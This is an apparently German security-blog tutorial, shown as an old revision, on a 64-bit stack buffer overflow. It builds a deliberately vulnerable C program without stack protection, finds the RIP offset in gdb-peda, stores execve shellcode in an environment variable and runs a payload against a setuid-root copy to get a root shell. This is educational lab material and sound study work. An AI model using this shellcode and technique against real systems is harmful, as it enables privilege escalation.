Buffer Overflow im 64-Bit Stack - Teil 1

Dies ist eine alte Version des Dokuments!


Buffer Overflow im 64-Bit Stack

Achtung!

Die Techniken und Methoden in diesem Artikel sind ausschließlich für Lernzwecke. Ein Missbrauch ist strafbar!1)

Projektdateien nosoc-repo-bof64.zip ZIP
Größe 5,76 KB
Prüfsumme (SHA256) 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3

In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.2)

Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier3)

classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBB RIP: 0x00007FFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root-Shell }


Abhängigkeiten

Was wird benötigt?

  • Kali Linux (oder andere Distri)
  • GDB Debugger
  • gdb-peda
  • gcc Compiler



gdb-peda Exploit Tools

gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.4)

wget http://ropshell.com/peda/peda.tar.gz
tar zxvf peda.tar.gz
echo "source ~/peda/peda.py" >> ~/.gdbinit



ASLR deaktivieren

ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space



Programm

// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
 
#include <stdio.h>
#include <unistd.h>
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}



Kompilieren

gcc -fno-stack-protector -z execstack bof.c -o bof



RIP Register

Interessant für uns ist das Register RIP. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können.

Wir startebn unser Programm im Debugger und generieren einen 200 Zeichen langen String:

gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
Offset Fuzzing



Bytes berechnen

Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?

pattern_offset A7AAMAAiA
Found at Offset 104



104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse 0x414141414141 ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen:

0x0000414141414141



Das wandeln wir in Shellcode um:

\x41\x41\x41\x41\x41\x41\x00\x00



In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.5)



Debuggen

Also Debuggen wir nun erneut, mit den herausgefundenen Parametern

python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin



wir haben RIP mit unserer Pseudo Adresse überschrieben



Exploit

Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.

Shellcode platzieren

Der Shellcode6) wird in einer Umgebungsvariable abgelegt

export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`



Variable im Stack finden



GetEnvVar

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
	char *ptr;
 
	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}



Kompilieren

gcc getenvar.c -o getenvar



Ausführen

./getenvar PWN ./bof
Das Offset der Umgebungsvariable im Stack

Die Adresse der Umgebungsvariable ist 0x7fffffffef9e, dies entspricht der canonical address 0x00007fffffffef9e´. Unser Shellcode entspräche nun:

\x9e\xef\xff\xff\xff\x7f\x00\x00



Angriff

Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese7)

sudo chown root bof
sudo chmod 4755 bof
./bof

Nun können wir den Buffer-Overflow ausführen:

(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
root Shell!



Diskussion

pjok86, 2024/04/30 10:02
Die Methode mit der Umgebungsvariablen klingt interessant.
Geben Sie Ihren Kommentar ein:
227 +8 = 
 
it-security/blog/buffer_overflow_x64.1708635436.txt.gz · Zuletzt geändert: 2024/02/22 21:57
CC Attribution-Noncommercial-Share Alike 4.0 International